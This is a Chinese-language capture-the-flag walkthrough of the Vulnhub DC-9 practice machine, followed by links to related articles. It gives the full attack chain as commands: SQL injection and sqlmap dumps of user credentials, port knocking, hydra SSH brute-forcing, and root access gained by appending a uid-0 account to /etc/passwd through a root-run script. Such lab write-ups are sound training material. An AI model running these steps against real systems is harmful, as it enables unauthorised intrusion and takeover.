一、环境搭建

选择扫描虚拟机

选择靶机路径

如果出现以下信息

如下修改,修改和虚拟机一样的版本

二、信息收集

扫ip

nmap -sn 192.168.108.0/24

得到靶机ip:192.168.108.143

扫开放端口

nmap -p 1-65535 192.168.108.143

只开放了两个端口

信息如下

22/tcp filtered ssh #filtered是“过滤的”,意味着网络防火墙或其他安全设备正在阻止对该端口的访问,或者没有响应
80/tcp open http

扫版本服务信息

nmap -sV 192.168.108.143

得到以下信息

信息如下

22/tcp filtered ssh
80/tcp open http Apache httpd 2.4.38 ((Debian)) #web的Apache服务版本

指纹探测

执行以下命令

nmap 192.168.108.143 -p 22,80 -sV -sC -O --version-all

可用信息:

运行系统:linux 3.x|4.x
操作系统CPE:cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
操作系统内核:linux 3.2-4.9

目录扫描

先用dirsaerch扫描

看看dirb扫描

整理一下可用信息

http://192.168.108.143/config.php      //配置文件
http://192.168.108.143/display.php //副页面
http://192.168.108.143/includes
http://192.168.108.143/logout.php //登出界面
http://192.168.108.143/manage.php //管理界面-登录框
http://192.168.108.143/search.php //搜索界面
http://192.168.108.143/index.php //主界面

三、Web渗透

看看80端口,是如下一个界面

访问这几个页面以及上面扫描出来的目录,只有search和manage界面有可用信息,在manage界面存在一个登录框,尝试弱口令万能密码无果

只能在search界面试试,这里搜索需要使用第二个界面的内容

当我们搜索Tom时,会出现一下信息,应该是调用了数据库信息然后给我们的回显,那么可能存在SQL注入

SQL注入

当我们输入Tom' or '1'='1时,存在sql注入

抓包看看,得到search参数

创建一个DC9.txt,将数据包内容输入进去,然后利用sqlmap跑出数据库

sqlmap -r DC9.txt --dbs

得到3个数据库

这里先看看Staff数据库,拿到两个数据表

看看Users表中的列

看看数据表内容

sqlmap -r DC9.txt -D Staff -T Users --dump

拿到一个管理员账号密码

password 'transorbital1' for user 'admin'

拿到的数据库

数据库:information_schema,Staff,users

看看users库

看看该表的列

看看表中数据

sqlmap -r DC9.txt -D users -T UserDetails --dump

将用户名和密码单独列出来

sqlmap -r DC9.txt -D users -T UserDetails -C username --dump
sqlmap -r DC9.txt -D users -T UserDetails -C password --dump

用户名

marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2

密码

3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0

登录后台

成功登录进去,但是在此处发现一个文件不存在,可能存在文件包含

试试目录遍历,拿到了很多用户名信息

端口敲门服务

参考文章:https://www.cnblogs.com/wsjhk/p/5508051.html

随便拿一个上面爆破出的账号密码登录一下,发现22端口无法正常使用

这里需要了解一个知识点,端口敲门服务

端口敲门(Port Knocking)是一种安全机制,用于在防火墙上动态地打开特定端口,以便允许特定的网络流量通过。这种技术通常用于增强服务器的安全性,特别是在需要远程访问(如 SSH)时。

看看其配置文件,得到敲门序列:sequence = 7469,8475,9842

这里有几种方法,比如使用nc工具一个一个连接,或者下载knock工具,对获取的端口(开门密码)实现碰撞,必须按照序列进行连接

apt install knock
knock 192.168.108.143 7469 8475 9842

然后看看端口开放状态,成功开启端口

ssh爆破

这里需要使用hydra工具

Hydra 是一个非常流行的开源密码破解工具,广泛用于进行暴力破解和字典攻击。它支持多种协议和服务,包括 HTTP, FTP, SSH, Telnet, SMTP, POP3, IMAP 等等。Hydra 的灵活性和强大的功能使其成为渗透测试和安全评估中的重要工具

kali通常是预装的,准备一个用户名表和密码表

利用hydra进行爆破

hydra -L user.txt -P passwd.txt ssh://192.168.108.143

拿到以下信息

login: chandlerb   password: UrAG0D!
login: joeyt password: Passw0rd
login: janitor password: Ilovepeepee

四、提权

ssh登录寻找信息

chandlerb

没有什么可用信息

joeyt

也是没什么有用信息

janitor

发现一个目录,里面有一个密码文件

放到原先的密码表,再使用hydra爆破一处,拿到一个新账户

login: fredf   password: B4-Tru3-001

利用新账户登录

发现一个无需root权限可用使用的文件,/opt/devstuff/dist/test

执行该文件,发现如下信息

/opt/devstuff目录下发现test.py

查看该文件

#!/usr/bin/python

import sys

if len (sys.argv) != 3 :         #检查命令行参数数量
print ("Usage: python test.py read append")
sys.exit (1) else :
f = open(sys.argv[1], "r") #将第一个参数可读
output = (f.read()) f = open(sys.argv[2], "a") #将第一个参数的内容追加到第二个参数
f.write(output)
f.close()

这里举个例子,如果我们执行 ./test.py 1.txt 2.txt,那么程序会把1.txt的内容追加到2.txt,因为这个脚本是以root权限运行的,所以我们可以利用它追加账户密码到/etc/passwd

追加账户密码提权

先使用openssl生成一个密码

然后将密码写入一个文件

track:$1$lPvyU8TX$Da4wA8ijXmhJGCWUmt5Kj0:0:0::/root:/bin/bash
echo "track:$1$lPvyU8TX$Da4wA8ijXmhJGCWUmt5Kj0:0:0::/root:/bin/bash" > /tmp/a.txt

将文件写入/etc/passwd

sudo /opt/devstuff/dist/test/test /tmp/a.txt /etc/passwd

然后登录即可

sudo track
密码:track

Vulnhub-DC-9靶机-SQL注入拿到账户+利用端口敲门连接ssh+信息泄露利用root脚本追加提权的更多相关文章

  1. 安全测试基础-SQL注入详解

    1:什么是SQL注入 SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行. www.xx.com/news.php?id=1 ...

  2. Vulnhub实战-Dockhole_2靶机👻

    Vulnhub实战-Dockhole_2靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-2,740/ 1.描述 hint:让我们不要浪费时间在蛮力上面! ...

  3. DC 1-3 靶机渗透

    DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...

  4. 防御sql注入

    1. 领域驱动安全 领域驱动安全是一种代码设计方法.其思想是将一个隐式的概念转化为显示,个人认为即是面向对象的方法,将一个概念抽象成一个类,在该类中通过方法对类的属性进行约束.是否是字符串,包含什么字 ...

  5. SQL注入—我是如何一步步攻破一家互联网公司的

    最近在研究Web安全相关的知识,特别是SQL注入类的相关知识.接触了一些与SQL注入相关的工具.周末在家闲着无聊,想把平时学的东东结合起来攻击一下身边某个小伙伴去的公司,看看能不能得逞.不试不知道,一 ...

  6. SQL注入技术专题—由浅入深【精华聚合】

    作者:坏蛋链接:https://zhuanlan.zhihu.com/p/23569276来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 不管用什么语言编写的Web应用 ...

  7. mysql基础语法及拓展到web中的sql注入

    本来是想写下javaweb的mvc(tomcat, spring, mysql)的搭建,  昨天搭到凌晨3点, 谁知道jdbcTemplate的jar包不好使, 想死的心都有了, 想想还是休息一下, ...

  8. sqlmap查找SQL注入漏洞入门

    1.安装sqlmap sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞.注意:sqlmap只是用来检测和利用sql注入点的,使用前请先使用扫描工具扫出sql注入点 ...

  9. SQL注入攻击

    SQL注入攻击是黑客对数据库进行攻击的常用手段之一.随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候, ...

  10. SQL注入实验,PHP连接数据库,Mysql查看binlog,PreparedStatement,mysqli, PDO

    看到有人说了判断能否sql注入的方法: 简单的在参数后边加一个单引号,就可以快速判断是否可以进行SQL注入,这个百试百灵,如果有漏洞的话,一般会报错. 下面内容参考了这两篇文章 http://blog ...

随机推荐

  1. 配合 envoy 使用 Zipkin

    use zipkin in envoy document: https://www.envoyproxy.io/docs/envoy/latest/start/sandboxes/zipkin.htm ...

  2. 基于SpringMVC XML配置文件的Dubbo开发与使用

    [模块一] 首先引入Dubbo的依赖资源,这里我们使用基于SpringMVC的项目于Dubbo进行整合 先进行依赖导入. pom.xml         <!--zookeeper--> ...

  3. Base64解码、Base64编码、Base64加密解密规则

    转换规则:进行Base64转换的时候,将3个byte(3*8bit = 24bit)的数据,先后放入一个24bit的缓冲区中,先来的byte占高位.数据不足3byte的话,于缓冲器中剩下的bit用0补 ...

  4. Swagger注解-@ApiModel 和 @ApiModelProperty

    @ApiModel 使用场景 在实体类上边使用,标记类时swagger的解析类 概述 提供有关swagger模型的其它信息,类将在操作中用作类型时自动内省 属性 属性名称 数据类型 默认值 说明 va ...

  5. Qt编写物联网管理平台48-特色功能设计

    一.前言 在物联网管理平台的实际现场应用过程中,遇到过大大小小几十个改进的需求点,这些需求点都是实际用户提出来的,一方面为了方便用户使用提高用户体验,一方面为了提升整体的整个系统的完整性,甚至有些需求 ...

  6. 在 Ubuntu 上搭建 MinIO 服务器

    在日常开发时,如果有文件上传下载的需求(比如用户头像),但是又不想使用对象存储,那么自己搭建一个 MinIO 服务器是一个比较简单的解决方案. MinIO 是一个基于 Apache License v ...

  7. 移动端开源 IM 框架 MobileIMSDK v6.0 发布!

    一.更新内容简介 本次为主要版本更新(本次更新内容见文末"MobileIMSDK v6.0更新内容 "一节),强势升级,将同时支持TCP.UDP.WebSocket三种协议,精心封 ...

  8. JVM实战—13.OOM的生产案例

    大纲 1.每秒仅上百请求的系统为何会OOM(RPC超时时间设置过长导致QPS翻几倍) 2.Jetty服务器的NIO机制如何导致堆外内存溢出(S区太小 + 禁NIO的显式GC) 3.一次微服务架构下的R ...

  9. Solution -「JZOJ #5457」项链

    \(\mathscr{Description}\)   Private link.   给定一条有 \(n\) 个点的圆环和 \(m\) 中颜色, 求在位置旋转, 位置翻转, 颜色旋转等价的意义下, ...

  10. Solution Set -「LOCAL」冲刺省选 Round XXVII

    \(\mathscr{Summary}\)   还行,B 题挺不错,C 题就省选来说有点水(? \(\mathscr{Solution}\) \(\mathscr{A-}\) 分裂   初始时,你有一 ...